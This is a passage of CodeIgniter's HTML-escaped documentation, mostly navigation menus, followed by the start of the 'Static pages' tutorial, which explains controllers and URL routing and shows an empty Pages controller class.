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&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/common_functions.html&quot;&gt;Common Functions&lt;/a&gt;&lt;/li&gt;
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&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/environments.html&quot;&gt;Handling Multiple Environments&lt;/a&gt;&lt;/li&gt;
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&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/security.html&quot;&gt;Security&lt;/a&gt;&lt;/li&gt;
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&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/index.html&quot;&gt;Libraries&lt;/a&gt;&lt;ul&gt;
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&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/config.html&quot;&gt;Config Class&lt;/a&gt;&lt;/li&gt;
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&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/encrypt.html&quot;&gt;Encrypt Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/encryption.html&quot;&gt;Encryption Library&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/file_uploading.html&quot;&gt;File Uploading Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/form_validation.html&quot;&gt;Form Validation&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/ftp.html&quot;&gt;FTP Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/image_lib.html&quot;&gt;Image Manipulation Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/input.html&quot;&gt;Input Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/javascript.html&quot;&gt;Javascript Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/language.html&quot;&gt;Language Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/loader.html&quot;&gt;Loader Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/migration.html&quot;&gt;Migrations Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/output.html&quot;&gt;Output Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/pagination.html&quot;&gt;Pagination Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/parser.html&quot;&gt;Template Parser Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/security.html&quot;&gt;Security Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/sessions.html&quot;&gt;Session Library&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/table.html&quot;&gt;HTML Table Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/trackback.html&quot;&gt;Trackback Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/typography.html&quot;&gt;Typography Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/unit_testing.html&quot;&gt;Unit Testing Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/uri.html&quot;&gt;URI Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/user_agent.html&quot;&gt;User Agent Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/xmlrpc.html&quot;&gt;XML-RPC and XML-RPC Server Classes&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/zip.html&quot;&gt;Zip Encoding Class&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/index.html&quot;&gt;Database Reference&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/examples.html&quot;&gt;Quick Start: Usage Examples&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/configuration.html&quot;&gt;Database Configuration&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/connecting.html&quot;&gt;Connecting to a Database&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/queries.html&quot;&gt;Running Queries&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/results.html&quot;&gt;Generating Query Results&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/helpers.html&quot;&gt;Query Helper Functions&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/query_builder.html&quot;&gt;Query Builder Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/transactions.html&quot;&gt;Transactions&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/metadata.html&quot;&gt;Getting MetaData&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/call_function.html&quot;&gt;Custom Function Calls&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/caching.html&quot;&gt;Query Caching&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/forge.html&quot;&gt;Database Manipulation with Database Forge&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/utilities.html&quot;&gt;Database Utilities Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/db_driver_reference.html&quot;&gt;Database Driver Reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/index.html&quot;&gt;Helpers&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/array_helper.html&quot;&gt;Array Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/captcha_helper.html&quot;&gt;CAPTCHA Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/cookie_helper.html&quot;&gt;Cookie Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/date_helper.html&quot;&gt;Date Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/directory_helper.html&quot;&gt;Directory Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/download_helper.html&quot;&gt;Download Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/email_helper.html&quot;&gt;Email Helper&lt;/a&gt;&lt;/li&gt;
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&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/welcome.html&quot;&gt;Welcome to CodeIgniter&lt;/a&gt;&lt;/li&gt;
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&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../installation/index.html&quot;&gt;Installation Instructions&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../installation/downloads.html&quot;&gt;Downloading CodeIgniter&lt;/a&gt;&lt;/li&gt;
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&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;conclusion.html&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
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&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../contributing/index.html&quot;&gt;Contributing to CodeIgniter&lt;/a&gt;&lt;ul&gt;
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&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../DCO.html&quot;&gt;Developers Certificate of Origin 1.1&lt;/a&gt;&lt;/li&gt;
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&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/index.html&quot;&gt;General Topics&lt;/a&gt;&lt;ul&gt;
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&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/hooks.html&quot;&gt;Hooks - Extending the Framework Core&lt;/a&gt;&lt;/li&gt;
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&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/compatibility_functions.html&quot;&gt;Compatibility Functions&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/routing.html&quot;&gt;URI Routing&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/errors.html&quot;&gt;Error Handling&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/caching.html&quot;&gt;Caching&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/profiling.html&quot;&gt;Profiling Your Application&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/cli.html&quot;&gt;Running via the CLI&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/managing_apps.html&quot;&gt;Managing your Applications&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/environments.html&quot;&gt;Handling Multiple Environments&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/alternative_php.html&quot;&gt;Alternate PHP Syntax for View Files&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/security.html&quot;&gt;Security&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/styleguide.html&quot;&gt;PHP Style Guide&lt;/a&gt;&lt;/li&gt;
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&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/index.html&quot;&gt;Libraries&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/benchmark.html&quot;&gt;Benchmarking Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/caching.html&quot;&gt;Caching Driver&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/calendar.html&quot;&gt;Calendaring Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/cart.html&quot;&gt;Shopping Cart Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/config.html&quot;&gt;Config Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/email.html&quot;&gt;Email Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/encrypt.html&quot;&gt;Encrypt Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/encryption.html&quot;&gt;Encryption Library&lt;/a&gt;&lt;/li&gt;
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&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/ftp.html&quot;&gt;FTP Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/image_lib.html&quot;&gt;Image Manipulation Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/input.html&quot;&gt;Input Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/javascript.html&quot;&gt;Javascript Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/language.html&quot;&gt;Language Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/loader.html&quot;&gt;Loader Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/migration.html&quot;&gt;Migrations Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/output.html&quot;&gt;Output Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/pagination.html&quot;&gt;Pagination Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/parser.html&quot;&gt;Template Parser Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/security.html&quot;&gt;Security Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/sessions.html&quot;&gt;Session Library&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/table.html&quot;&gt;HTML Table Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/trackback.html&quot;&gt;Trackback Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/typography.html&quot;&gt;Typography Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/unit_testing.html&quot;&gt;Unit Testing Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/uri.html&quot;&gt;URI Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/user_agent.html&quot;&gt;User Agent Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/xmlrpc.html&quot;&gt;XML-RPC and XML-RPC Server Classes&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/zip.html&quot;&gt;Zip Encoding Class&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/index.html&quot;&gt;Database Reference&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/examples.html&quot;&gt;Quick Start: Usage Examples&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/configuration.html&quot;&gt;Database Configuration&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/connecting.html&quot;&gt;Connecting to a Database&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/queries.html&quot;&gt;Running Queries&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/results.html&quot;&gt;Generating Query Results&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/helpers.html&quot;&gt;Query Helper Functions&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/query_builder.html&quot;&gt;Query Builder Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/transactions.html&quot;&gt;Transactions&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/metadata.html&quot;&gt;Getting MetaData&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/call_function.html&quot;&gt;Custom Function Calls&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/caching.html&quot;&gt;Query Caching&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/forge.html&quot;&gt;Database Manipulation with Database Forge&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/utilities.html&quot;&gt;Database Utilities Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../database/db_driver_reference.html&quot;&gt;Database Driver Reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/index.html&quot;&gt;Helpers&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/array_helper.html&quot;&gt;Array Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/captcha_helper.html&quot;&gt;CAPTCHA Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/cookie_helper.html&quot;&gt;Cookie Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/date_helper.html&quot;&gt;Date Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/directory_helper.html&quot;&gt;Directory Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/download_helper.html&quot;&gt;Download Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/email_helper.html&quot;&gt;Email Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/file_helper.html&quot;&gt;File Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/form_helper.html&quot;&gt;Form Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/html_helper.html&quot;&gt;HTML Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/inflector_helper.html&quot;&gt;Inflector Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/language_helper.html&quot;&gt;Language Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/number_helper.html&quot;&gt;Number Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/path_helper.html&quot;&gt;Path Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/security_helper.html&quot;&gt;Security Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/smiley_helper.html&quot;&gt;Smiley Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/string_helper.html&quot;&gt;String Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/text_helper.html&quot;&gt;Text Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/typography_helper.html&quot;&gt;Typography Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/url_helper.html&quot;&gt;URL Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/xml_helper.html&quot;&gt;XML Helper&lt;/a&gt;&lt;/li&gt;
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  &lt;div class=&quot;section&quot; id=&quot;static-pages&quot;&gt;
&lt;h1&gt;Static pages&lt;a class=&quot;headerlink&quot; href=&quot;#static-pages&quot; title=&quot;Permalink to this headline&quot;&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This tutorial assumes youve downloaded CodeIgniter and
&lt;a class=&quot;reference internal&quot; href=&quot;../installation/index.html&quot;&gt;&lt;span class=&quot;doc&quot;&gt;installed the framework&lt;/span&gt;&lt;/a&gt; in your
development environment.&lt;/p&gt;
&lt;p&gt;The first thing youre going to do is set up a &lt;strong&gt;controller&lt;/strong&gt; to handle
static pages. A controller is simply a class that helps delegate work.
It is the glue of your web application.&lt;/p&gt;
&lt;p&gt;For example, when a call is made to:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;a class=&quot;reference external&quot; href=&quot;http://example.com/news/latest/10&quot;&gt;http://example.com/news/latest/10&lt;/a&gt;&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;We might imagine that there is a controller named news. The method
being called on news would be latest. The news methods job could be to
grab 10 news items, and render them on the page. Very often in MVC,
youll see URL patterns that match:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;a class=&quot;reference external&quot; href=&quot;http://example.com/[controller-class]/[controller-method]/[arguments&quot;&gt;http://example.com/[controller-class]/[controller-method]/[arguments&lt;/a&gt;]&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;As URL schemes become more complex, this may change. But for now, this
is all we will need to know.&lt;/p&gt;
&lt;p&gt;Create a file at &lt;em&gt;application/controllers/Pages.php&lt;/em&gt; with the following
code.&lt;/p&gt;
&lt;div class=&quot;highlight-ci&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;php&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Pages&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;CI_Controller&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$page&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;home&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;You have created a class named &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;Pages&lt;/span&gt;&lt;/code&gt;, with a view method that accepts
